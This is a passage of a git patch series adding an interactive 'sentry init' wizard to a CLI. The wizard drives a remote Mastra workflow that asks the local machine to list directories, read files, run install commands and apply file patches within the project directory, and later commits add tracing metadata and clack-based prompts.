directory?: string) { + const targetDir = directory + ? path.resolve(this.cwd, directory) + : this.cwd; + const featuresList = flags.features + ?.split(",") + .map((f) => f.trim()) + .filter(Boolean); + + await runWizard({ + directory: targetDir, + force: flags.force, + yes: flags.yes, + dryRun: flags["dry-run"], + features: featuresList, + stdout: this.stdout, + stderr: this.stderr, + stdin: this.stdin, + }); + }, +}); diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts new file mode 100644 index 00000000..842a9416 --- /dev/null +++ b/src/lib/init/constants.ts @@ -0,0 +1,8 @@ +export const MASTRA_API_URL = + process.env.SENTRY_WIZARD_API_URL ?? "http://localhost:4111"; + +export const WORKFLOW_ID = "sentry-wizard"; + +export const MAX_FILE_BYTES = 262144; // 256KB per file +export const MAX_STDOUT_BYTES = 65536; // 64KB stdout/stderr truncation +export const DEFAULT_COMMAND_TIMEOUT_MS = 120000; // 2 minutes diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts new file mode 100644 index 00000000..fa004c99 --- /dev/null +++ b/src/lib/init/formatters.ts @@ -0,0 +1,120 @@ +/** + * Output Formatters + * + * Format wizard progress, results, and errors for terminal display. + */ + +import type { Writer } from "../../types/index.js"; + +const STEP_LABELS: Record = { + "discover-context": "Analyzing project structure", + "select-target-app": "Selecting target application", + "resolve-dir": "Resolving project directory", + "check-existing-sentry": "Checking for existing Sentry installation", + "detect-platform": "Detecting platform and framework", + "ensure-sentry-project": "Setting up Sentry project", + "select-features": "Selecting features", + "determine-pm": "Detecting package manager", + "install-deps": "Installing dependencies", + "plan-codemods": "Planning code modifications", + "apply-codemods": "Applying code modifications", + "verify-changes": "Verifying changes", + "add-example-trigger": "Example error trigger", + "open-sentry-ui": "Finishing up", +}; + +export function formatProgress( + stdout: Writer, + stepId: string, + payload?: unknown, +): void { + const label = STEP_LABELS[stepId] ?? stepId; + const payloadType = (payload as any)?.type as string | undefined; + const operation = (payload as any)?.operation as string | undefined; + + let detail = ""; + if (payloadType === "local-op" && operation) { + detail = ` (${operation})`; + } + + stdout.write(`> ${label}${detail}...\n`); +} + +export function formatResult( + stdout: Writer, + result: Record, +): void { + const output = result.result ?? result; + + stdout.write("\nSentry SDK installed successfully!\n\n"); + + if (output.platform) { + stdout.write(` Platform: ${output.platform}\n`); + } + if (output.projectDir) { + stdout.write(` Directory: ${output.projectDir}\n`); + } + if (output.features?.length) { + stdout.write(` Features: ${output.features.join(", ")}\n`); + } + if (output.commands?.length) { + stdout.write(` Commands: ${output.commands.join("; ")}\n`); + } + if (output.sentryProjectUrl) { + stdout.write(` Project: ${output.sentryProjectUrl}\n`); + } + if (output.docsUrl) { + stdout.write(` Docs: ${output.docsUrl}\n`); + } + + if (output.changedFiles?.length) { + stdout.write("\n Changed files:\n"); + for (const f of output.changedFiles) { + const icon = f.action === "create" ? "+" : f.action === "delete" ? "-" : "~"; + stdout.write(` ${icon} ${f.path}\n`); + } + } + + if (output.warnings?.length) { + stdout.write("\n Warnings:\n"); + for (const w of output.warnings) { + stdout.write(` ! ${w}\n`); + } + } + + stdout.write("\n"); +} + +export function formatError( + stderr: Writer, + result: Record, +): void { + const message = + result.error ?? result.result?.message ?? "Wizard failed with an unknown error"; + const exitCode = result.result?.exitCode ?? 1; + + stderr.write(`\nError: ${message}\n`); + + // Provide actionable suggestions based on exit code + if (exitCode === 10) { + stderr.write(" Hint: Use --force to override existing Sentry installation.\n"); + } else if (exitCode === 20) { + stderr.write(" Hint: Could not detect your project's platform. Check that the directory contains a valid project.\n"); + } else if (exitCode === 30) { + const commands = result.result?.commands as string[] | undefined; + if (commands?.length) { + stderr.write(" You can install dependencies manually:\n"); + for (const cmd of commands) { + stderr.write(` $ ${cmd}\n`); + } + } + } else if (exitCode === 50) { + stderr.write(" Hint: Fix the verification issues and run 'sentry init' again.\n"); + } + + if (result.result?.docsUrl) { + stderr.write(` Docs: ${result.result.docsUrl}\n`); + } + + stderr.write("\n"); +} diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts new file mode 100644 index 00000000..3a6cdcb8 --- /dev/null +++ b/src/lib/init/interactive.ts @@ -0,0 +1,181 @@ +/** + * Interactive Dispatcher + * + * Handles interactive prompts from the remote workflow. + * Supports select, multi-select, and confirm prompts. + * Respects --yes flag for non-interactive mode. + */ + +import type { WizardOptions, InteractivePayload } from "./types.js"; + +export async function handleInteractive( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const { kind } = payload; + + switch (kind) { + case "select": + return handleSelect(payload, options); + case "multi-select": + return handleMultiSelect(payload, options); + case "confirm": + return handleConfirm(payload, options); + default: + return { cancelled: true }; + } +} + +async function handleSelect( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const apps = (payload.apps as Array<{ name: string; path: string; framework?: string }>) ?? []; + const items = (payload.options as string[]) ?? apps.map((a) => a.name); + + if (items.length === 0) { + return { cancelled: true }; + } + + // --yes: auto-pick if exactly one option + if (options.yes) { + if (items.length === 1) { + return { selectedApp: items[0] }; + } + options.stderr.write( + "Error: --yes requires exactly one option for selection, but found " + + `${items.length}. Run interactively to choose.\n`, + ); + return { cancelled: true }; + } + + options.stdout.write(`\n${payload.prompt}\n`); + for (let i = 0; i < items.length; i++) { + const app = apps[i]; + const extra = app?.framework ? ` (${app.framework})` : ""; + options.stdout.write(` ${i + 1}. ${items[i]}${extra}\n`); + } + + const answer = await readLine(options, `Choose [1-${items.length}]: `); + const idx = Number.parseInt(answer.trim(), 10) - 1; + + if (idx >= 0 && idx < items.length) { + return { selectedApp: items[idx] }; + } + + options.stderr.write("Invalid selection.\n"); + return { cancelled: true }; +} + +async function handleMultiSelect( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const available = + (payload.availableFeatures as string[]) ?? + (payload.options as string[]) ?? + []; + + if (available.length === 0) { + return { features: [] }; + } + + // --yes: select all available features + if (options.yes) { + return { features: available }; + } + + options.stdout.write(`\n${payload.prompt}\n`); + for (let i = 0; i < available.length; i++) { + options.stdout.write(` ${i + 1}. ${available[i]}\n`); + } + + const answer = await readLine( + options, + `Choose (comma-separated, or "all") [1-${available.length}]: `, + ); + + if (answer.trim().toLowerCase() === "all") { + return { features: available }; + } + + const indices = answer + .split(",") + .map((s) => Number.parseInt(s.trim(), 10) - 1) + .filter((i) => i >= 0 && i < available.length); + + const selected = [...new Set(indices.map((i) => available[i]))]; + return { features: selected }; +} + +async function handleConfirm( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + // --yes: auto-confirm + if (options.yes) { + // For "add example trigger" → default to true + // For "verification issues" → default to continue + if (payload.prompt.includes("example")) { + return { addExample: true }; + } + return { action: "continue" }; + } + + options.stdout.write(`\n${payload.prompt} [Y/n] `); + + const answer = await readLine(options, ""); + const confirmed = + answer.trim() === "" || + answer.trim().toLowerCase() === "y" || + answer.trim().toLowerCase() === "yes"; + + // Determine which field to set based on the prompt + if (payload.prompt.includes("example")) { + return { addExample: confirmed }; + } + return { action: confirmed ? "continue" : "stop" }; +} + +function readLine( + options: WizardOptions, + prompt: string, +): Promise { + return new Promise((resolve) => { + if (prompt) { + options.stdout.write(prompt); + } + + const { stdin } = options; + const wasRaw = stdin.isRaw; + + // Handle piped stdin (non-TTY) + if (!stdin.isTTY) { + let data = ""; + const onData = (chunk: Buffer) => { + data += chunk.toString(); + if (data.includes("\n")) { + stdin.removeListener("data", onData); + resolve(data.split("\n")[0] ?? ""); + } + }; + stdin.on("data", onData); + stdin.resume(); + return; + } + + // TTY mode: read a line + stdin.setRawMode?.(false); + stdin.resume(); + stdin.setEncoding("utf-8"); + + const onData = (chunk: string) => { + stdin.removeListener("data", onData); + stdin.pause(); + if (wasRaw !== undefined) stdin.setRawMode?.(wasRaw); + resolve(chunk.trim()); + }; + + stdin.once("data", onData); + }); +} diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts new file mode 100644 index 00000000..16314053 --- /dev/null +++ b/src/lib/init/local-ops.ts @@ -0,0 +1,267 @@ +/** + * Local Operations Dispatcher + * + * Handles filesystem and shell operations requested by the remote workflow. + * All operations are sandboxed to the workflow's cwd directory. + */ + +import fs from "node:fs"; +import path from "node:path"; +import { spawn } from "node:child_process"; +import { + MAX_FILE_BYTES, + MAX_STDOUT_BYTES, + DEFAULT_COMMAND_TIMEOUT_MS, +} from "./constants.js"; +import type { + WizardOptions, + LocalOpPayload, + LocalOpResult, + ListDirPayload, + ReadFilesPayload, + FileExistsBatchPayload, + RunCommandsPayload, + ApplyPatchsetPayload, +} from "./types.js"; + +/** + * Resolve a path relative to cwd and verify it's inside cwd. + * Rejects path traversal attempts. + */ +function safePath(cwd: string, relative: string): string { + const resolved = path.resolve(cwd, relative); + const normalizedCwd = path.resolve(cwd); + if (!resolved.startsWith(normalizedCwd + path.sep) && resolved !== normalizedCwd) { + throw new Error(`Path "${relative}" resolves outside project directory`); + } + return resolved; +} + +export async function handleLocalOp( + payload: LocalOpPayload, + _options: WizardOptions, +): Promise { + try { + switch (payload.operation) { + case "list-dir": + return await listDir(payload); + case "read-files": + return await readFiles(payload); + case "file-exists-batch": + return await fileExistsBatch(payload); + case "run-commands": + return await runCommands(payload); + case "apply-patchset": + return await applyPatchset(payload); + default: + return { ok: false, error: `Unknown operation: ${(payload as any).operation}` }; + } + } catch (error) { + return { + ok: false, + error: error instanceof Error ? error.message : String(error), + }; + } +} + +async function listDir(payload: ListDirPayload): Promise { + const { cwd, params } = payload; + const targetPath = safePath(cwd, params.path); + const maxDepth = params.maxDepth ?? 3; + const maxEntries = params.maxEntries ?? 500; + const recursive = params.recursive ?? false; + + const entries: Array<{ name: string; path: string; type: "file" | "directory" }> = []; + + function walk(dir: string, depth: number): void { + if (entries.length >= maxEntries) return; + if (depth > maxDepth) return; + + let dirEntries: fs.Dirent[]; + try { + dirEntries = fs.readdirSync(dir, { withFileTypes: true }); + } catch { + return; + } + + for (const entry of dirEntries) { + if (entries.length >= maxEntries) return; + + const relPath = path.relative(cwd, path.join(dir, entry.name)); + const type = entry.isDirectory() ? "directory" : "file"; + entries.push({ name: entry.name, path: relPath, type }); + + if (recursive && entry.isDirectory() && !entry.name.startsWith(".") && entry.name !== "node_modules") { + walk(path.join(dir, entry.name), depth + 1); + } + } + } + + walk(targetPath, 0); + return { ok: true, data: { entries } }; +} + +async function readFiles(payload: ReadFilesPayload): Promise { + const { cwd, params } = payload; + const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; + const files: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + const stat = fs.statSync(absPath); + if (stat.size > maxBytes) { + // Read only up to maxBytes + const buffer = Buffer.alloc(maxBytes); + const fd = fs.openSync(absPath, "r"); + fs.readSync(fd, buffer, 0, maxBytes, 0); + fs.closeSync(fd); + files[filePath] = buffer.toString("utf-8"); + } else { + files[filePath] = fs.readFileSync(absPath, "utf-8"); + } + } catch { + files[filePath] = null; + } + } + + return { ok: true, data: { files } }; +} + +async function fileExistsBatch( + payload: FileExistsBatchPayload, +): Promise { + const { cwd, params } = payload; + const exists: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + exists[filePath] = fs.existsSync(absPath); + } catch { + exists[filePath] = false; + } + } + + return { ok: true, data: { exists } }; +} + +async function runCommands(payload: RunCommandsPayload): Promise { + const { cwd, params } = payload; + const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; + + const results: Array<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; + }> = []; + + for (const command of params.commands) { + const result = await runSingleCommand(command, cwd, timeoutMs); + results.push(result); + if (result.exitCode !== 0) { + return { + ok: false, + error: `Command "${command}" failed with exit code ${result.exitCode}: ${result.stderr}`, + data: { results }, + }; + } + } + + return { ok: true, data: { results } }; +} + +function runSingleCommand( + command: string, + cwd: string, + timeoutMs: number, +): Promise<{ command: string; exitCode: number; stdout: string; stderr: string }> { + return new Promise((resolve) => { + const child = spawn("sh", ["-c", command], { + cwd, + stdio: ["ignore", "pipe", "pipe"], + timeout: timeoutMs, + }); + + const stdoutChunks: Buffer[] = []; + const stderrChunks: Buffer[] = []; + let stdoutLen = 0; + let stderrLen = 0; + + child.stdout.on("data", (chunk: Buffer) => { + if (stdoutLen < MAX_STDOUT_BYTES) { + stdoutChunks.push(chunk); + stdoutLen += chunk.length; + } + }); + + child.stderr.on("data", (chunk: Buffer) => { + if (stderrLen < MAX_STDOUT_BYTES) { + stderrChunks.push(chunk); + stderrLen += chunk.length; + } + }); + + child.on("error", (err) => { + resolve({ + command, + exitCode: 1, + stdout: "", + stderr: err.message, + }); + }); + + child.on("close", (code) => { + const stdout = Buffer.concat(stdoutChunks) + .toString("utf-8") + .slice(0, MAX_STDOUT_BYTES); + const stderr = Buffer.concat(stderrChunks) + .toString("utf-8") + .slice(0, MAX_STDOUT_BYTES); + resolve({ command, exitCode: code ?? 1, stdout, stderr }); + }); + }); +} + +async function applyPatchset( + payload: ApplyPatchsetPayload, +): Promise { + const { cwd, params } = payload; + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + const absPath = safePath(cwd, patch.path); + + switch (patch.action) { + case "create": { + // Ensure parent directory exists + const dir = path.dirname(absPath); + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "create" }); + break; + } + case "modify": { + if (!fs.existsSync(absPath)) { + return { + ok: false, + error: `Cannot modify "${patch.path}": file does not exist`, + }; + } + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "modify" }); + break; + } + case "delete": { + if (fs.existsSync(absPath)) { + fs.unlinkSync(absPath); + } + applied.push({ path: patch.path, action: "delete" }); + break; + } + } + } + + return { ok: true, data: { applied } }; +} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts new file mode 100644 index 00000000..5c52f30e --- /dev/null +++ b/src/lib/init/types.ts @@ -0,0 +1,101 @@ +import type { Writer } from "../../types/index.js"; + +export interface WizardOptions { + directory: string; + force: boolean; + yes: boolean; + dryRun: boolean; + features?: string[]; + stdout: Writer; + stderr: Writer; + stdin: NodeJS.ReadStream & { fd: 0 }; +} + +// ── Local-op suspend payloads ────────────────────────────── + +export type LocalOpPayload = + | ListDirPayload + | ReadFilesPayload + | FileExistsBatchPayload + | RunCommandsPayload + | ApplyPatchsetPayload; + +export interface ListDirPayload { + type: "local-op"; + operation: "list-dir"; + cwd: string; + params: { + path: string; + recursive?: boolean; + maxDepth?: number; + maxEntries?: number; + }; +} + +export interface ReadFilesPayload { + type: "local-op"; + operation: "read-files"; + cwd: string; + params: { + paths: string[]; + maxBytes?: number; + }; +} + +export interface FileExistsBatchPayload { + type: "local-op"; + operation: "file-exists-batch"; + cwd: string; + params: { + paths: string[]; + }; +} + +export interface RunCommandsPayload { + type: "local-op"; + operation: "run-commands"; + cwd: string; + params: { + commands: string[]; + timeoutMs?: number; + }; +} + +export interface ApplyPatchsetPayload { + type: "local-op"; + operation: "apply-patchset"; + cwd: string; + params: { + patches: Array<{ + path: string; + action: "create" | "modify" | "delete"; + patch: string; + }>; + }; +} + +export interface LocalOpResult { + ok: boolean; + error?: string; + data?: unknown; +} + +// ── Interactive suspend payloads ─────────────────────────── + +export interface InteractivePayload { + type: "interactive"; + prompt: string; + kind: "select" | "multi-select" | "confirm"; + [key: string]: unknown; +} + +// ── Workflow run result ──────────────────────────────────── + +export interface WorkflowRunResult { + status: "suspended" | "success" | "failed"; + suspended?: string[][]; + steps?: Record; + suspendPayload?: unknown; + result?: unknown; + error?: string; +} diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts new file mode 100644 index 00000000..9ab13066 --- /dev/null +++ b/src/lib/init/wizard-runner.ts @@ -0,0 +1,115 @@ +/** + * Wizard Runner + * + * Main suspend/resume loop that drives the remote Mastra workflow. + * Each iteration: check status → if suspended, perform local-op or + * interactive prompt → resume with result → repeat. + */ + +import { MastraClient } from "@mastra/client-js"; +import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; +import { formatProgress, formatResult, formatError } from "./formatters.js"; +import { handleLocalOp } from "./local-ops.js"; +import { handleInteractive } from "./interactive.js"; +import type { + WizardOptions, + LocalOpPayload, + InteractivePayload, +} from "./types.js"; + +export async function runWizard(options: WizardOptions): Promise { + const { directory, force, yes, dryRun, features, stdout, stderr } = options; + + const client = new MastraClient({ baseUrl: MASTRA_API_URL }); + const workflow = client.getWorkflow(WORKFLOW_ID); + const run = await workflow.createRun(); + + let result = await run.startAsync({ + inputData: { directory, force, yes, dryRun, features }, + }); + + // Track multi-suspend phases per step + const stepPhases = new Map(); + + while ((result as any).status === "suspended") { + // Extract step ID and suspend payload + const stepPath = + (result as any).suspended?.[0] ?? + (result as any).activePaths?.[0] ?? + []; + const stepId: string = stepPath[stepPath.length - 1] ?? "unknown"; + + const payload = extractSuspendPayload(result as Record, stepId); + if (!payload) { + stderr.write(`Error: No suspend payload found for step "${stepId}"\n`); + break; + } + + formatProgress(stdout, stepId, payload); + + let resumeData: Record; + const payloadType = (payload as any).type as string; + + if (payloadType === "local-op") { + const localResult = await handleLocalOp( + payload as LocalOpPayload, + options, + ); + + // Track phase progression for multi-suspend steps + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + const phaseNames = ["read-files", "analyze", "done"]; + resumeData = { + ...localResult, + _phase: phaseNames[Math.min(phase - 1, phaseNames.length - 1)], + }; + } else if (payloadType === "interactive") { + const interactiveResult = await handleInteractive( + payload as InteractivePayload, + options, + ); + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + resumeData = { + ...interactiveResult, + _phase: "apply", + }; + } else { + stderr.write(`Error: Unknown suspend payload type "${payloadType}"\n`); + break; + } + + result = await run.resumeAsync({ + step: stepId, + resumeData, + }); + } + + const resultObj = result as Record; + if (resultObj.status === "success") { + formatResult(stdout, resultObj); + } else { + formatError(stderr, resultObj); + } +} + +function extractSuspendPayload( + result: Record, + stepId: string, +): unknown | undefined { + // Try step-specific payload first + const stepPayload = result.steps?.[stepId]?.suspendPayload; + if (stepPayload) return stepPayload; + + // Try top-level suspend payload + if (result.suspendPayload) return result.suspendPayload; + + // Try nested in activePaths data + for (const key of Object.keys(result.steps ?? {})) { + const step = result.steps[key]; + if (step?.suspendPayload) return step.suspendPayload; + } + + return undefined; +} From 8146d8b279119c464f5018671ca337f645779d14 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 21:20:05 +0100 Subject: [PATCH 02/72] feat(init): pass tracing options to Mastra workflow runs Sends tags and metadata (CLI version, OS, arch, node version) with startAsync and resumeAsync calls so workflow runs are visible and filterable in Mastra Studio. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 9ab13066..64b021fb 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -7,6 +7,7 @@ */ import { MastraClient } from "@mastra/client-js"; +import { CLI_VERSION } from "../constants.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; import { formatProgress, formatResult, formatError } from "./formatters.js"; import { handleLocalOp } from "./local-ops.js"; @@ -20,12 +21,24 @@ import type { export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features, stdout, stderr } = options; + const tracingOptions = { + tags: ["sentry-cli", "init-wizard"], + metadata: { + cliVersion: CLI_VERSION, + os: process.platform, + arch: process.arch, + nodeVersion: process.version, + dryRun, + }, + }; + const client = new MastraClient({ baseUrl: MASTRA_API_URL }); const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); let result = await run.startAsync({ inputData: { directory, force, yes, dryRun, features }, + tracingOptions, }); // Track multi-suspend phases per step @@ -83,6 +96,7 @@ export async function runWizard(options: WizardOptions): Promise { result = await run.resumeAsync({ step: stepId, resumeData, + tracingOptions, }); } From 57f902fba5ff09150a2ac9db47b4a417e24012de Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 22:19:57 +0100 Subject: [PATCH 03/72] feat(init): generate unique trace ID for each wizard run Import randomBytes and generate a hex trace ID so all suspend/resume calls within a single wizard run share one trace. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 64b021fb..ff176484 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -6,6 +6,7 @@ * interactive prompt → resume with result → repeat. */ +import { randomBytes } from "node:crypto"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; @@ -22,6 +23,7 @@ export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features, stdout, stderr } = options; const tracingOptions = { + traceId: randomBytes(16).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From 0c5e4403ccc5c642c3212bfd06b20722769bfc67 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 22:20:08 +0100 Subject: [PATCH 04/72] fix(init): flatten nested workflow spans with shared parent span ID Add a synthetic parentSpanId to tracingOptions so all workflow run spans become siblings under the same parent instead of nesting by timestamp containment. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index ff176484..feeb28ce 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -24,6 +24,7 @@ export async function runWizard(options: WizardOptions): Promise { const tracingOptions = { traceId: randomBytes(16).toString("hex"), + parentSpanId: randomBytes(8).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From d60e3b23af0392e663a7cc574334f2d08adee4ba Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 11:08:02 +0100 Subject: [PATCH 05/72] fix(init): remove unnecessary parentSpanId from tracing options The parentSpanId was creating artificial nesting - let the workflow engine handle span hierarchy naturally. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index feeb28ce..ff176484 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -24,7 +24,6 @@ export async function runWizard(options: WizardOptions): Promise { const tracingOptions = { traceId: randomBytes(16).toString("hex"), - parentSpanId: randomBytes(8).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From 3d39f6169cfc4efdc261ed4e284356e6b5be4ec6 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 12:03:57 +0100 Subject: [PATCH 06/72] feat(init): show ASCII banner and make error monitoring required Display the branded SENTRY ASCII banner before the intro line for visual consistency with `sentry --help`. Make the "errors" feature always enabled in the feature multi-select so users cannot deselect error monitoring. Co-Authored-By: Claude Opus 4.6 --- src/lib/help.ts | 2 +- src/lib/init/interactive.ts | 161 ++++++++++-------------- src/lib/init/wizard-runner.ts | 222 ++++++++++++++++++++++------------ 3 files changed, 209 insertions(+), 176 deletions(-) diff --git a/src/lib/help.ts b/src/lib/help.ts index 40873f43..bc632118 100644 --- a/src/lib/help.ts +++ b/src/lib/help.ts @@ -36,7 +36,7 @@ const BANNER_GRADIENT = [ * Format the banner with a vertical gradient effect. * Each row gets progressively darker purple. */ -function formatBanner(): string { +export function formatBanner(): string { return BANNER_ROWS.map((row, i) => { const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; return chalk.hex(color)(row); diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 3a6cdcb8..7c90efa7 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -6,21 +6,23 @@ * Respects --yes flag for non-interactive mode. */ -import type { WizardOptions, InteractivePayload } from "./types.js"; +import { confirm, log, multiselect, select } from "@clack/prompts"; +import { abortIfCancelled } from "./clack-utils.js"; +import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { const { kind } = payload; switch (kind) { case "select": - return handleSelect(payload, options); + return await handleSelect(payload, options); case "multi-select": - return handleMultiSelect(payload, options); + return await handleMultiSelect(payload, options); case "confirm": - return handleConfirm(payload, options); + return await handleConfirm(payload, options); default: return { cancelled: true }; } @@ -28,48 +30,49 @@ export async function handleInteractive( async function handleSelect( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { - const apps = (payload.apps as Array<{ name: string; path: string; framework?: string }>) ?? []; + const apps = + (payload.apps as Array<{ + name: string; + path: string; + framework?: string; + }>) ?? []; const items = (payload.options as string[]) ?? apps.map((a) => a.name); if (items.length === 0) { return { cancelled: true }; } - // --yes: auto-pick if exactly one option if (options.yes) { if (items.length === 1) { + log.info(`Auto-selected: ${items[0]}`); return { selectedApp: items[0] }; } - options.stderr.write( - "Error: --yes requires exactly one option for selection, but found " + - `${items.length}. Run interactively to choose.\n`, + log.error( + `--yes requires exactly one option for selection, but found ${items.length}. Run interactively to choose.` ); return { cancelled: true }; } - options.stdout.write(`\n${payload.prompt}\n`); - for (let i = 0; i < items.length; i++) { - const app = apps[i]; - const extra = app?.framework ? ` (${app.framework})` : ""; - options.stdout.write(` ${i + 1}. ${items[i]}${extra}\n`); - } - - const answer = await readLine(options, `Choose [1-${items.length}]: `); - const idx = Number.parseInt(answer.trim(), 10) - 1; - - if (idx >= 0 && idx < items.length) { - return { selectedApp: items[idx] }; - } + const selected = await select({ + message: payload.prompt, + options: items.map((item, i) => { + const app = apps[i]; + return { + value: item, + label: item, + hint: app?.framework ?? undefined, + }; + }), + }); - options.stderr.write("Invalid selection.\n"); - return { cancelled: true }; + return { selectedApp: abortIfCancelled(selected) }; } async function handleMultiSelect( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { const available = (payload.availableFeatures as string[]) ?? @@ -80,102 +83,60 @@ async function handleMultiSelect( return { features: [] }; } - // --yes: select all available features + const requiredFeature = "errors"; + const hasRequired = available.includes(requiredFeature); + if (options.yes) { + log.info(`Auto-selected all features: ${available.join(", ")}`); return { features: available }; } - options.stdout.write(`\n${payload.prompt}\n`); - for (let i = 0; i < available.length; i++) { - options.stdout.write(` ${i + 1}. ${available[i]}\n`); + if (hasRequired) { + log.info("Error monitoring is always enabled."); } - const answer = await readLine( - options, - `Choose (comma-separated, or "all") [1-${available.length}]: `, - ); + const optional = available.filter((f) => f !== requiredFeature); - if (answer.trim().toLowerCase() === "all") { - return { features: available }; - } + const selected = await multiselect({ + message: payload.prompt, + options: optional.map((feature) => ({ + value: feature, + label: feature, + })), + initialValues: optional, + required: false, + }); - const indices = answer - .split(",") - .map((s) => Number.parseInt(s.trim(), 10) - 1) - .filter((i) => i >= 0 && i < available.length); + const chosen = abortIfCancelled(selected); + if (hasRequired && !chosen.includes(requiredFeature)) { + chosen.unshift(requiredFeature); + } - const selected = [...new Set(indices.map((i) => available[i]))]; - return { features: selected }; + return { features: chosen }; } async function handleConfirm( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { - // --yes: auto-confirm if (options.yes) { - // For "add example trigger" → default to true - // For "verification issues" → default to continue if (payload.prompt.includes("example")) { + log.info("Auto-confirmed: adding example trigger"); return { addExample: true }; } + log.info("Auto-confirmed: continuing"); return { action: "continue" }; } - options.stdout.write(`\n${payload.prompt} [Y/n] `); + const confirmed = await confirm({ + message: payload.prompt, + initialValue: true, + }); - const answer = await readLine(options, ""); - const confirmed = - answer.trim() === "" || - answer.trim().toLowerCase() === "y" || - answer.trim().toLowerCase() === "yes"; + const value = abortIfCancelled(confirmed); - // Determine which field to set based on the prompt if (payload.prompt.includes("example")) { - return { addExample: confirmed }; + return { addExample: value }; } - return { action: confirmed ? "continue" : "stop" }; -} - -function readLine( - options: WizardOptions, - prompt: string, -): Promise { - return new Promise((resolve) => { - if (prompt) { - options.stdout.write(prompt); - } - - const { stdin } = options; - const wasRaw = stdin.isRaw; - - // Handle piped stdin (non-TTY) - if (!stdin.isTTY) { - let data = ""; - const onData = (chunk: Buffer) => { - data += chunk.toString(); - if (data.includes("\n")) { - stdin.removeListener("data", onData); - resolve(data.split("\n")[0] ?? ""); - } - }; - stdin.on("data", onData); - stdin.resume(); - return; - } - - // TTY mode: read a line - stdin.setRawMode?.(false); - stdin.resume(); - stdin.setEncoding("utf-8"); - - const onData = (chunk: string) => { - stdin.removeListener("data", onData); - stdin.pause(); - if (wasRaw !== undefined) stdin.setRawMode?.(wasRaw); - resolve(chunk.trim()); - }; - - stdin.once("data", onData); - }); + return { action: value ? "continue" : "stop" }; } diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index ff176484..af171144 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -7,20 +7,99 @@ */ import { randomBytes } from "node:crypto"; +import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; +import { formatBanner } from "../help.js"; +import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; -import { formatProgress, formatResult, formatError } from "./formatters.js"; -import { 